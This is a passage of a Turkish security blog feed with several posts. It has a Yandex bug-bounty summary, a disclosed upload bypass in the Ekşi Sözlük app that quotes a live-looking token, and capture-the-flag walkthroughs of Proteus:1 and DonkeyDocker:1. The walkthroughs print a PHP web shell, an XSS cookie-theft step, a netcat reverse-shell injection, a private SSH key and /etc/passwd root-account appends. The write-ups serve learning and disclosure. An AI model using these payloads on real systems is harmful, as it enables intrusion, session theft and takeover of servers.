Tüm subdomainlere tek tek sorgu yaptırmam mümkün olmadığı için Hackerone aracılığıyla tanıştığımız bir arkadaşın kodladığı yazılımı kullanıyorum. Bulgusu şu şekilde;

Potential domain takeover detected!
Host………..: cdn-cloud.zen.yandex.com
Service……..: Cloudfront
Service website: https://aws.amazon.com/cloudfront/
Resource…….:
GitHub , Heroku, Amazon S3, Desk ve WPEngine dahil 25 serviste çalışan sunucuları belirleyip cname sorgularını gösteren ve bu şekilde subdomain takeover’ı tespit eden ufak bir yazılım. Daha iyisini yakında duyurmayı planlıyoruz.
Güncel hali;

2) SSRF

3) Stored XSS

Süreç

7 Ağustos – İlk Raporlamalar

9 Ağustos – Geri dönüş( özellikle subdomain takeover için detaylı anlatım istediler)

9 Ağustos – Güncellemeler (gönderdiğim diğer zafiyetler hala incelemede)

TR | Yandex Bug Bounty Süreci Berk İMRAN

]]>
https://canyoupwn.me/tr-yandex-bug-bounty-sureci/feed/ 0
TR | Ekşi Sözlük App Vulnerability https://canyoupwn.me/tr-eksi-sozluk-app-vulnerability/ https://canyoupwn.me/tr-eksi-sozluk-app-vulnerability/#comments Mon, 10 Jul 2017 19:01:02 +0000 https://canyoupwn.me/?p=7139 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Ekşi okuru ve sıkı yazarı olarak mobil uygulamasının çıktığını ve profil fotoğrafı yükleme özelliğinin geldiğini bu şekilde öğrendim. Sakarya’da kampta olmam sebebiyle gününde bakamadım ama az çok bu zafiyetin var olabileceğini tahmin etmiştim ve doğru da çıktı. Öncelikle uygulamayı incelerken parola bilgilerinin şifrelenmeden gitmesi dikkatimi çekti. POST /token HTTP/1.1 Accept: application/json Content-Type: application/x-www-form-urlencoded Content-Length: 128 Host: […]

TR | Ekşi Sözlük App Vulnerability Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Ekşi okuru ve sıkı yazarı olarak mobil uygulamasının çıktığını ve profil fotoğrafı yükleme özelliğinin geldiğini bu şekilde öğrendim. Sakarya’da kampta olmam sebebiyle gününde bakamadım ama az çok bu zafiyetin var olabileceğini tahmin etmiştim ve doğru da çıktı.

Öncelikle uygulamayı incelerken parola bilgilerinin şifrelenmeden gitmesi dikkatimi çekti.

POST /token HTTP/1.1
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Host: api.eksisozluk.com
Connection: close
User-Agent: okhttp/2.3.0

grant_type=password&username=berk.imran7%40gmail.com&password=blablabla&client_secret=6x8a95c-6xa28-x59ea-9d56-569532x

Profil fotoğrafı yükleme alanından önce normal bir fotoğraf yükledim.

HTTP/1.1 200 OK
Date: Mon, 10 Jul 2017 18:33:59 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 57
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"Success":true,"Message":"image uploaded successfully."}

Başarılı şekilde yüklendi. Şimdi php yzantılı atmayı deneyelim. Dönen istek bu şekilde.

HTTP/1.1 200 OK
Date: Mon, 10 Jul 2017 18:37:51 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 62
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"Success":false,"Message":"please upload image of type .jpg"}

Giden isteği tekrar manipüle ediyorum.

POST /v1/user/forme/upload/avatar HTTP/1.1
Accept: application/json
Authorization: bearer ixJwjW_kYNfwZhDF1LoHcpfK2wEmqPHUNEdLd7YEIGc59drWUUUeK6L4MBZipwme928Q8FsNsgDn9flYfzxAS63vTEhqkM8mbigPjMjPC4IYdJPzuw0UIGUqT_FYFsFmeNvOaT5ToOTdrTuiHZsU-JreWYzNlWvfg7XkBK-G2vhIdb6Gc4_odnsg_kqcjJGSObiIM_g2iqkQuQqrMcGiEOI6mfyWrtvlngWwpZ4eiZe1-mztKHCnrREs_nHePmKd
Content-Type: multipart/form-data; boundary="----MyGreatBoundary"
Content-Length: 25130
Host: api.eksisozluk.com
Connection: close
User-Agent: okhttp/2.3.0

------MyGreatBoundary
Content-Disposition: form-data; name=avatar; filename=avatar.jpg;php; filename*=utf-8''avatar.jpg.php

Ve yükleme başarılı.

Gelelim fotoğrafın nereye yüklendiğini bulmaya. Uygulama üzerinden fotoğrafın adresini öğrenemediğim için tarayıcı üzerinden devam ediyorum.

Doğrulama yapmadığım için haliyle oturum açmadı. Yine proxy aracılığı ile gereken bilgileri veriyorum.

Zafiyet fixlendikten sonra bu yazıyı yazdığım için jpg olarak yükledi.

Burada fotoğrafların direk eksisozluk.com domaininde olmasını ve rootlamaya kadar gitmesini isterdim ama haliyle başka sunucuda çıktı 🙂

Tüm sözlüğe selam olsun 🙂

TR | Ekşi Sözlük App Vulnerability Berk İMRAN

]]>
https://canyoupwn.me/tr-eksi-sozluk-app-vulnerability/feed/ 1
TR | Proteus: 1 Walkthrough https://canyoupwn.me/tr-proteus-1-walkthrough/ https://canyoupwn.me/tr-proteus-1-walkthrough/#respond Tue, 27 Jun 2017 04:33:51 +0000 https://canyoupwn.me/?p=7111 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Makinamızın ip adresini tespit etmek için nmap 192.168.1.0/24  veya arp-scan 192.168.1.0/24  komutlarını kullanabiliriz. Ip adresimi öğrendikten sonra agresif tarama yapıyorum. 80 ve 22 portuna o kadar alıştım ki senaryo az çok kafamda canlandı. 80 portunda çalışan servisten ssh bağlantı bilgilerini alabiliriz diye düşünüyorum, bakalım… Senaryo malware analizi yapan bir site üzerine kurulmuş. Dosya yükleme yeri […]

TR | Proteus: 1 Walkthrough Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Makinamızın ip adresini tespit etmek için nmap 192.168.1.0/24  veya arp-scan 192.168.1.0/24  komutlarını kullanabiliriz.
Ip adresimi öğrendikten sonra agresif tarama yapıyorum.

80 ve 22 portuna o kadar alıştım ki senaryo az çok kafamda canlandı. 80 portunda çalışan servisten ssh bağlantı bilgilerini alabiliriz diye düşünüyorum, bakalım…

Senaryo malware analizi yapan bir site üzerine kurulmuş. Dosya yükleme yeri gördüğümde her zaman önce web shell yüklemeyi denerim. 

<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>

Klasik bir web shell kodudur. http://192.168.1.20/shell.php?cmd=whoami  şeklinde kullanılır. Shelli yüklemeye çalıştığımda aşağıdaki gibi invalid mimetype hatası aldım.

Desteklediği formatları “application/x-executable, application/x-sharedlib” olarak belirtmiş. İsteği değiştirerek tekrar gönderiyorum.

POST /submit HTTP/1.1
Host: 192.168.1.20
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------15114079911693627682090237232
Content-Length: 388
Referer: http://192.168.1.20/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------15114079911693627682090237232
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-executable

<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>

-----------------------------15114079911693627682090237232--

application/x-executable yapıp tekrar gönderdiğimde yine başarısız oldum. Kabul ettiği formatta bir dosya yüklemeyi deneyelim. 

Burda dikkatimi çeken dosya adlarının base64 ile encode olması. attığımız dosyaların /home/malwareadm/samples klasörüne kaydolması. Stringsleri göstermesi yazdığım kodu da çalıştırabileceğini düşündürdü.

Çok basit şekilde bir xss payload yazdım <img src=a onerror=alert(‘XSS’)> . Şimdi burda en çok merak edilen sorulardan birine yanıt bulmayı isterim, “xss ile alert vermekten öteye geçemez miyiz?” geçeriz.
Genellikle malware analiz sitelerinde (eskiden camas.comodo.com  vardı anubis vardı) gönderdiğiniz malware otomatize şekilde incelenmenin dışında manuel olarak da bakılıyorsa https://cit.valkyrie.comodo.com/  gibi, gönderdiğiniz kod yetkili kullanıcılarda da çalışacak demektir. Bu durumda session yani oturum bilgilerini elde edebiliriz. Eskiden sorgulu sorgusuz downloader’lar ile direk rat(remote administrator tool) serverları gönderilirdi. Hatta chrome’da bulunan bir 0day ile siz siteye girdiğinizde exploit çoktan çalışmış sistemi ele geçirmiş olurdu ( yıl 2013).
Burada bizim yapacağımız da çerezleri elde etmek, bunun için apache servisimi çalıştırıp loglara düşmesini sağlıyorum.

Tail -f  ile log dosyasını inceliyorum. Tail -f diyince burdan Caner Filibelioglu‘na ve Mustafa Kaan Demirhan‘a büyük fontlarla selam olsun, Enes sana yok 🙂

192.168.1.20 - - [26/Jun/2017:22:42:01 -0400] "GET /?cookie=proteus_session=1498525321%7Cj0UwsAI4bPM6hnqlPLpaIGYMxF3aBtI1S9Ol84IpY3YfC%2FcDT8Za1htY91c%2Bj%2FUpnd%2Bi%2Btmh8z6DdTVtZwS9JAH88WyMQDRGR%2FA6dl5OEzvrToKj2YzHSujIn9UDeLMX%7C3128832d24bc9bec2f8f15bdb81c1124717a443f HTTP/1.1" 200 3380 "http://127.0.0.1/samples" "Mozilla/5.0 (Unknown; Linux i686) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"

Logları incelediğimizde proteus_session başlıklı çerezi görüyoruz. Deneyelim…
Bunun için tarayıcılardaki eklentileri veya proxy araçlarını kullanabilirsiniz.

Cookie ekledikten sonra yetkiyi aldım. 

Mantıken normal kullanıcı yetkisiyle ulaşamadığınız, malwareadm kullanıcısı ile erişiminizin olduğu bir yerde zafiyet olmalıydı. O da gelen malware dosyalarını silmek için gönderilen istek.
Base64 ile http://192.168.1.20/delete/NTk1MWJhNDZhYWU0Yi5iaW4= şeklinde gönderilen istekte remote code execiton zafiyeti mevcut. Burdan reverse shell almamız gerek. (bkz. EN | Reverse Shell Cheat Sheet )
Ayrıca yüklediğimiz dosyadan kod çalıştırabildiğimiz için proxy ile araya girerek de bağlantı alabilirdik.

5951ba46aae4b.bin ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.24 4545 >/tmp/f

NTk1MWJhNDZhYWU0Yi5iaW4gO3JtIC90bXAvZjtta2ZpZm8gL3RtcC9mO2NhdCAvdG1wL2Z8L2Jpbi9zaCAtaSAyPiYxfG5jIDE5Mi4xNjguMS4yNCA0NTQ1ID4vdG1wL2Y=

Reverse shell almak için gerekli komutlarımı base64 ile encode edip gönderdim ve bağlantı geldi.

Bir boşluk yanlış koymamdan dolayı 5 defa bağlantım kesildi.
Şimdi ssh portunun açık olması bana burda priva key elde etmemiz gerektiğini düşündürse de başaramadım. Gece Hakkı Yüce ile tartışırken geldi rootladı 🙂

Öncelikle uzun uzun baktıkran sonra bayağı root senaryosu olduğunu farkettik. Gelelim root olmaya…

Root Senaryo 1

/home/malwareadm/sites/proteus_site dizinini kurcalarken çerezini alarak girdiğimiz malwareadm kullanıcısının parolasını elde ettik.

// THIS IS JUST USED TO IMPERSONATE AN ADMIN FOR THE CHALLENGE

var username  = 'malwareadm';
var pwd = 'q-L%40X%21%7Bl_%278%7C%29o%3FQ%2BTapahQ%3C_';

var webPage = require('webpage');
var page = webPage.create();
var postBody = 'username=' + username + '&password=' + pwd;

page.open('http://127.0.0.1/samples', 'post', postBody, function (status) {
	if (status !== 'success') {
		console.log('Unable to post!');
	} else {
		console.log(JSON.stringify({
			cookies: phantom.cookies
		}));
	}
	phantom.exit();
});

Url decode ile q-L@X!{l_’8|)o?Q+TapahQ<_ parolasını elde ettik.
Şu an etkileşimli kabukta olmadığımız için sudo gibi komutları çalıştıramıyoruz. Bu yüzden  python -c ‘import pty; pty.spawn(“/bin/sh”)’  ile etkileşimli shelle geçiyorum.
su malwareadm  ile kullanıcıya geçtik. sudo su  ile de root kullanıcısını aldık.

root@Proteus:/home/malwareadm/sites/proteus_site# cat /etc/shadow 
cat /etc/shadow
root:!:17288:0:99999:7:::
daemon:*:17086:0:99999:7:::
bin:*:17086:0:99999:7:::
sys:*:17086:0:99999:7:::
sync:*:17086:0:99999:7:::
games:*:17086:0:99999:7:::
man:*:17086:0:99999:7:::
lp:*:17086:0:99999:7:::
mail:*:17086:0:99999:7:::
news:*:17086:0:99999:7:::
uucp:*:17086:0:99999:7:::
proxy:*:17086:0:99999:7:::
www-data:*:17086:0:99999:7:::
backup:*:17086:0:99999:7:::
list:*:17086:0:99999:7:::
irc:*:17086:0:99999:7:::
gnats:*:17086:0:99999:7:::
nobody:*:17086:0:99999:7:::
systemd-timesync:*:17086:0:99999:7:::
systemd-network:*:17086:0:99999:7:::
systemd-resolve:*:17086:0:99999:7:::
systemd-bus-proxy:*:17086:0:99999:7:::
syslog:*:17086:0:99999:7:::
_apt:*:17086:0:99999:7:::
messagebus:*:17086:0:99999:7:::
lxd:*:17288:0:99999:7:::
uuidd:*:17288:0:99999:7:::
dnsmasq:*:17288:0:99999:7:::
sshd:*:17288:0:99999:7:::
pollinate:*:17288:0:99999:7:::
malwareadm:$6$C7ZB0G8M$wMCrGeGYvmLb9QkQ.ELBZNrFO6vMVnKboahpMY1vBqCO53FqkUgeyIWLn0Dg3SY5I66rej.LGIGAaDs6gDiV0.:17296:0:99999:7:::
mysql:!:17288:0:99999:7:::

 

root@Proteus:/home/malwareadm/sites/proteus_site# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Proteus:/home/malwareadm/sites/proteus_site# 

Root Senaryo 2

Root yetkisiyle çalışan admin_login_logger dikkatimizi çekti.

Çalıştırdığımızda aşağıdaki gibi kullanımını belirtti.

./admin_login_logger
Usage: ./admin_login_logger  ADMIN LOGIN ATTEMPT (This will be done with phantomjs) 

Rastgele bir kod çalıştırdığımızda /var/log/proteus/log altına kayıt olduğunu söyledi.

./admin_login_logger cat /etc/passwd                 
Writing datafile 0x941c1d0: '/var/log/proteus/log'

Burda istediğiniz gibi kod çalıştırabilir kendi kullanıcınızı ekleyebilirsiniz.

DonkeyDocker makinasındaki mantıkla

echo 'berk:x:0:0::/root:/bin/bash' >> /etc/passwd 

python( -c ' print " berk:!:0:0:berk:/home:berk:/bin/bash "/etc/passwd" ')

gibi komutlarla root yetkisine erişebilirsiniz. Son olarak root dizinindeki flag…

TR | Proteus: 1 Walkthrough Berk İMRAN

]]>
https://canyoupwn.me/tr-proteus-1-walkthrough/feed/ 0
TR | DonkeyDocker: 1 Walkthrough https://canyoupwn.me/tr-donkeydocker-1-walkthrough/ https://canyoupwn.me/tr-donkeydocker-1-walkthrough/#respond Mon, 19 Jun 2017 21:21:39 +0000 https://canyoupwn.me/?p=7027 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Öncelikle makinamızın ip adresini tespit edelim. arp-scan 172.189.64.0/24 komutu ile arp taraması yaptıktan sonra mac adresinden 172.189.64.141 ip adresini öğreniyorum. Nmap ile detaylı port taraması yapalım. nmap 172.189.64.141 -A  komutu ile çıktımıza bakalım. Dirbuster aracı ile dizinleri tarayalım. dirb http://172.189.64.141 GENERATED WORDS: 4612 ---- Scanning URL: http://172.189.64.141/ ---- + http://172.189.64.141/about (CODE:200|SIZE:2098) + http://172.189.64.141/admin.php (CODE:301|SIZE:315) ==> DIRECTORY: http://172.189.64.141/assets/ + […]

TR | DonkeyDocker: 1 Walkthrough Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Öncelikle makinamızın ip adresini tespit edelim.
arp-scan 172.189.64.0/24 komutu ile arp taraması yaptıktan sonra mac adresinden 172.189.64.141 ip adresini öğreniyorum. Nmap ile detaylı port taraması yapalım.
nmap 172.189.64.141 -A  komutu ile çıktımıza bakalım.

Dirbuster aracı ile dizinleri tarayalım. dirb http://172.189.64.141

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://172.189.64.141/ ----
+ http://172.189.64.141/about (CODE:200|SIZE:2098)                             
+ http://172.189.64.141/admin.php (CODE:301|SIZE:315)                          
==> DIRECTORY: http://172.189.64.141/assets/                                   
+ http://172.189.64.141/contact (CODE:200|SIZE:3207)                           
==> DIRECTORY: http://172.189.64.141/css/                                      
==> DIRECTORY: http://172.189.64.141/dist/                                     
+ http://172.189.64.141/index (CODE:200|SIZE:4090)                             
+ http://172.189.64.141/index.php (CODE:301|SIZE:315)                          
+ http://172.189.64.141/info.php (CODE:301|SIZE:314)                           
==> DIRECTORY: http://172.189.64.141/mailer/                                   
+ http://172.189.64.141/phpinfo.php (CODE:301|SIZE:317)                        
+ http://172.189.64.141/robots.txt (CODE:200|SIZE:79)                          
+ http://172.189.64.141/server-status (CODE:403|SIZE:302)                      
+ http://172.189.64.141/xmlrpc.php (CODE:301|SIZE:316)                         
+ http://172.189.64.141/xmlrpc_server.php (CODE:301|SIZE:323)                  
                                                                               
---- Entering directory: http://172.189.64.141/assets/ ----
+ http://172.189.64.141/assets/admin.php (CODE:301|SIZE:322)                   
+ http://172.189.64.141/assets/index.php (CODE:301|SIZE:322)                   
+ http://172.189.64.141/assets/info.php (CODE:301|SIZE:321)                    
==> DIRECTORY: http://172.189.64.141/assets/js/                                
+ http://172.189.64.141/assets/phpinfo.php (CODE:301|SIZE:324)                 
+ http://172.189.64.141/assets/xmlrpc.php (CODE:301|SIZE:323)                  
+ http://172.189.64.141/assets/xmlrpc_server.php (CODE:301|SIZE:330)           
                                                                               
---- Entering directory: http://172.189.64.141/css/ ----
+ http://172.189.64.141/css/admin.php (CODE:301|SIZE:319)                      
+ http://172.189.64.141/css/index.php (CODE:301|SIZE:319)                      
+ http://172.189.64.141/css/info.php (CODE:301|SIZE:318)                       
+ http://172.189.64.141/css/phpinfo.php (CODE:301|SIZE:321)                    
+ http://172.189.64.141/css/xmlrpc.php (CODE:301|SIZE:320)                     
+ http://172.189.64.141/css/xmlrpc_server.php (CODE:301|SIZE:327)              
                                                                               
---- Entering directory: http://172.189.64.141/dist/ ----
+ http://172.189.64.141/dist/admin.php (CODE:301|SIZE:320)                     
==> DIRECTORY: http://172.189.64.141/dist/css/                                 
==> DIRECTORY: http://172.189.64.141/dist/font/                                
+ http://172.189.64.141/dist/index.php (CODE:301|SIZE:320)                     
+ http://172.189.64.141/dist/info.php (CODE:301|SIZE:319)                      
+ http://172.189.64.141/dist/phpinfo.php (CODE:301|SIZE:322)                   
+ http://172.189.64.141/dist/xmlrpc.php (CODE:301|SIZE:321)                    
+ http://172.189.64.141/dist/xmlrpc_server.php (CODE:301|SIZE:328)             
                                                                               
---- Entering directory: http://172.189.64.141/mailer/ ----
+ http://172.189.64.141/mailer/admin.php (CODE:301|SIZE:322)                   
==> DIRECTORY: http://172.189.64.141/mailer/docs/                              
==> DIRECTORY: http://172.189.64.141/mailer/examples/                          
==> DIRECTORY: http://172.189.64.141/mailer/extras/                            
+ http://172.189.64.141/mailer/index.php (CODE:301|SIZE:322)                   
+ http://172.189.64.141/mailer/info.php (CODE:301|SIZE:321)                    
==> DIRECTORY: http://172.189.64.141/mailer/language/                          
+ http://172.189.64.141/mailer/LICENSE (CODE:200|SIZE:26421)                   
+ http://172.189.64.141/mailer/phpinfo.php (CODE:301|SIZE:324)                 
==> DIRECTORY: http://172.189.64.141/mailer/test/                              
+ http://172.189.64.141/mailer/xmlrpc.php (CODE:301|SIZE:323)                  
+ http://172.189.64.141/mailer/xmlrpc_server.php (CODE:301|SIZE:330)           
                                                                               
---- Entering directory: http://172.189.64.141/assets/js/ ----
+ http://172.189.64.141/assets/js/admin.php (CODE:301|SIZE:325)                
+ http://172.189.64.141/assets/js/index.php (CODE:301|SIZE:325)                
+ http://172.189.64.141/assets/js/info.php (CODE:301|SIZE:324)                 
+ http://172.189.64.141/assets/js/phpinfo.php (CODE:301|SIZE:327)              
+ http://172.189.64.141/assets/js/xmlrpc.php (CODE:301|SIZE:326)               
+ http://172.189.64.141/assets/js/xmlrpc_server.php (CODE:301|SIZE:333)        
                                                                               
---- Entering directory: http://172.189.64.141/dist/css/ ----
+ http://172.189.64.141/dist/css/admin.php (CODE:301|SIZE:324)                 
+ http://172.189.64.141/dist/css/index.php (CODE:301|SIZE:324)                 
+ http://172.189.64.141/dist/css/info.php (CODE:301|SIZE:323)                  
+ http://172.189.64.141/dist/css/phpinfo.php (CODE:301|SIZE:326)               
+ http://172.189.64.141/dist/css/xmlrpc.php (CODE:301|SIZE:325)                
+ http://172.189.64.141/dist/css/xmlrpc_server.php (CODE:301|SIZE:332)         
                                                                               
---- Entering directory: http://172.189.64.141/dist/font/ ----
+ http://172.189.64.141/dist/font/admin.php (CODE:301|SIZE:325)                
+ http://172.189.64.141/dist/font/index.php (CODE:301|SIZE:325)                
+ http://172.189.64.141/dist/font/info.php (CODE:301|SIZE:324)                 
+ http://172.189.64.141/dist/font/phpinfo.php (CODE:301|SIZE:327)              
+ http://172.189.64.141/dist/font/xmlrpc.php (CODE:301|SIZE:326)               
+ http://172.189.64.141/dist/font/xmlrpc_server.php (CODE:301|SIZE:333)        
                                                                               
---- Entering directory: http://172.189.64.141/mailer/docs/ ----
+ http://172.189.64.141/mailer/docs/admin.php (CODE:301|SIZE:327)              
+ http://172.189.64.141/mailer/docs/index.php (CODE:301|SIZE:327)              
+ http://172.189.64.141/mailer/docs/info.php (CODE:301|SIZE:326)               
+ http://172.189.64.141/mailer/docs/phpinfo.php (CODE:301|SIZE:329)            
+ http://172.189.64.141/mailer/docs/xmlrpc.php (CODE:301|SIZE:328)             
+ http://172.189.64.141/mailer/docs/xmlrpc_server.php (CODE:301|SIZE:335)      
                                                                               
---- Entering directory: http://172.189.64.141/mailer/examples/ ----
+ http://172.189.64.141/mailer/examples/admin.php (CODE:301|SIZE:331)          
==> DIRECTORY: http://172.189.64.141/mailer/examples/images/                   
+ http://172.189.64.141/mailer/examples/index.html (CODE:200|SIZE:6289)        
+ http://172.189.64.141/mailer/examples/index.php (CODE:301|SIZE:331)          
+ http://172.189.64.141/mailer/examples/info.php (CODE:301|SIZE:330)           
+ http://172.189.64.141/mailer/examples/phpinfo.php (CODE:301|SIZE:333)        
==> DIRECTORY: http://172.189.64.141/mailer/examples/scripts/                  
==> DIRECTORY: http://172.189.64.141/mailer/examples/styles/                   
+ http://172.189.64.141/mailer/examples/xmlrpc.php (CODE:301|SIZE:332)         
+ http://172.189.64.141/mailer/examples/xmlrpc_server.php (CODE:301|SIZE:339)  
                                                                               
---- Entering directory: http://172.189.64.141/mailer/extras/ ----
+ http://172.189.64.141/mailer/extras/admin.php (CODE:301|SIZE:329)            
+ http://172.189.64.141/mailer/extras/index.php (CODE:301|SIZE:329)            
+ http://172.189.64.141/mailer/extras/info.php (CODE:301|SIZE:328)             
+ http://172.189.64.141/mailer/extras/phpinfo.php (CODE:301|SIZE:331)          
+ http://172.189.64.141/mailer/extras/xmlrpc.php (CODE:301|SIZE:330)           
+ http://172.189.64.141/mailer/extras/xmlrpc_server.php (CODE:301|SIZE:337)    
                                                                               
---- Entering directory: http://172.189.64.141/mailer/language/ ----
+ http://172.189.64.141/mailer/language/admin.php (CODE:301|SIZE:331)          
+ http://172.189.64.141/mailer/language/index.php (CODE:301|SIZE:331)          
+ http://172.189.64.141/mailer/language/info.php (CODE:301|SIZE:330)           
+ http://172.189.64.141/mailer/language/phpinfo.php (CODE:301|SIZE:333)        
+ http://172.189.64.141/mailer/language/xmlrpc.php (CODE:301|SIZE:332)         
+ http://172.189.64.141/mailer/language/xmlrpc_server.php (CODE:301|SIZE:339)  
                                                                               
---- Entering directory: http://172.189.64.141/mailer/test/ ----
+ http://172.189.64.141/mailer/test/admin.php (CODE:301|SIZE:327)              
+ http://172.189.64.141/mailer/test/index.php (CODE:301|SIZE:327)              
+ http://172.189.64.141/mailer/test/info.php (CODE:301|SIZE:326)               
+ http://172.189.64.141/mailer/test/phpinfo.php (CODE:301|SIZE:329)            
+ http://172.189.64.141/mailer/test/xmlrpc.php (CODE:301|SIZE:328)             
+ http://172.189.64.141/mailer/test/xmlrpc_server.php (CODE:301|SIZE:335)      
                                                                               
---- Entering directory: http://172.189.64.141/mailer/examples/images/ ----
+ http://172.189.64.141/mailer/examples/images/admin.php (CODE:301|SIZE:338)   
+ http://172.189.64.141/mailer/examples/images/index.php (CODE:301|SIZE:338)   
+ http://172.189.64.141/mailer/examples/images/info.php (CODE:301|SIZE:337)    
+ http://172.189.64.141/mailer/examples/images/phpinfo.php (CODE:301|SIZE:340) 
+ http://172.189.64.141/mailer/examples/images/xmlrpc.php (CODE:301|SIZE:339)  
+ http://172.189.64.141/mailer/examples/images/xmlrpc_server.php (CODE:301|SIZE:346)
                                                                               
---- Entering directory: http://172.189.64.141/mailer/examples/scripts/ ----
+ http://172.189.64.141/mailer/examples/scripts/admin.php (CODE:301|SIZE:339)  
+ http://172.189.64.141/mailer/examples/scripts/index.php (CODE:301|SIZE:339)  
+ http://172.189.64.141/mailer/examples/scripts/info.php (CODE:301|SIZE:338)   
+ http://172.189.64.141/mailer/examples/scripts/phpinfo.php (CODE:301|SIZE:341)
+ http://172.189.64.141/mailer/examples/scripts/xmlrpc.php (CODE:301|SIZE:340) 
+ http://172.189.64.141/mailer/examples/scripts/xmlrpc_server.php (CODE:301|SIZE:347)
                                                                               
---- Entering directory: http://172.189.64.141/mailer/examples/styles/ ----
+ http://172.189.64.141/mailer/examples/styles/admin.php (CODE:301|SIZE:338)   
+ http://172.189.64.141/mailer/examples/styles/index.php (CODE:301|SIZE:338)   
+ http://172.189.64.141/mailer/examples/styles/info.php (CODE:301|SIZE:337)    
+ http://172.189.64.141/mailer/examples/styles/phpinfo.php (CODE:301|SIZE:340) 
+ http://172.189.64.141/mailer/examples/styles/xmlrpc.php (CODE:301|SIZE:339)  
+ http://172.189.64.141/mailer/examples/styles/xmlrpc_server.php (CODE:301|SIZE:346)

Robots.txt ve diğer dizinlerde çok önemli bilgiler bulamadım. Vulnhub’ı takip ettiğim için phpmailer zafiyeti için makina çıkacağını tahmin etmekteydim. Baktığımız zaman phpmailer kullanıldığını görüyoruz. http://172.189.64.141/mailer/VERSION  adresinden 5.2.16  sürümü olduğunu öğrendim. Bu sürüme ait exploiti searchsploit aracı ile veya exploit-db’den elde edebilirsiniz.
https://www.exploit-db.com/exploits/40974/ adresindeki exploiti kullandım. Gerekli yerleri düzenlerek çalıştırıyorum.

Exploit çalıştı. http://172.189.64.141/backdoor.php adresinden reverse shell alıyorum.

Dizinler arasında geçiş yaparken main.sh dosyasını okuyorum. Görüldüğü gibi smith adında bir kullanıcı var ve ilk flag ordan alınacak. Home dizininden girmeyi deneyelim.

Smith dizinine geçmeye çalıştığımızda yetkimiz olmadığını görüyoruz.

$ cd smith
cd smith
/bin/sh: 20: cd: can't cd to smith

Smith kullanıcısının yetkisine erişmek parola tahmini kadar kolay oldu.

$ su smith
su smith
Password: smith

Gerekli yetkiyi edindikten sonra ilk bayrağı yakalıyoruz.

Bu aşamadan sonra ya uygun exploit bularak root olmayı düşündüm ama ssh portunun açık olması ve .ssh dizini olması exploit kullanmaya gerek kalmadığını gösterdi.

Private Key’i elde ettik.

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAhAQc3H36SyC4F6mO+/s+/wMLKL8/45ITnf9Hw47xKHwAAAJhsQyB3bEMg
dwAAAAtzc2gtZWQyNTUxOQAAACAhAQc3H36SyC4F6mO+/s+/wMLKL8/45ITnf9Hw47xKHw
AAAEAeyAfJp42y9KA/K5Q4M33OM5x3NDtKC2IljG4xT+orcCEBBzcffpLILgXqY77+z7/A
wsovz/jkhOd/0fDjvEofAAAAE29yd2VsbEBkb25rZXlkb2NrZXIBAg==
-----END OPENSSH PRIVATE KEY-----

ssh -i txt.txt [email protected]   komutu ile bağlantıyı sağladık.

İkinci bayrağımızı bu dizin içerisinden elde ettik.

You tried harder! Good work ;-)

Here a flag for your effort: flag01{e20523853d6733721071c2a4e95c9c60}

Hala root değiliz.

donkeydocker:/$ id
uid=1000(orwell) gid=1000(orwell) groups=101(docker),1000(orwell)

Bu noktadan sonra docker yapısını araştırmam ve root olmayı öğrenmem 1 haftamı aldı. Ben makinayı çözene kadar Vm lisansı bitti 🙂

flag.txt dosyasını silip /etc/passwd dosyası olarak gösteriyoruz.

docker restart donkeydocker  komutu ile yeniden başlatıyoruz.

Şimdi /etc/passwd dosyamıza kendi root haklarındaki kullanıcıyı eklememiz gerek. Bunun için echo ‘berk:x:0:0::/root:/bin/bash’ >> /etc/passwd  komutunu kullanıyoruz.

Haliyle shadow dosyasından da parolayı vermek gerek, kendi parolamı kopyala yapıştır yaptım.

echo ‘berk:R2JhrPXIXqW3g:17251:0:99999:7:::’ >> /etc/shadow (tabii ki bu değil 🙂 )

donkeydocker:/home/orwell# id
uid=0(root) gid=0(root) groups=0(root)
donkeydocker:/home/orwell#

Ve Son flag…

 YES!! You did it :-). Congratulations!

    I hope you enjoyed this CTF VM.

    Drop me a line on twitter @dhn_, or via email [email protected]

    Here is your flag: flag2{60d14feef575bacf5fd8eb06ec7cd8e7}

 

 

 

 

TR | DonkeyDocker: 1 Walkthrough Berk İMRAN

]]>
https://canyoupwn.me/tr-donkeydocker-1-walkthrough/feed/ 0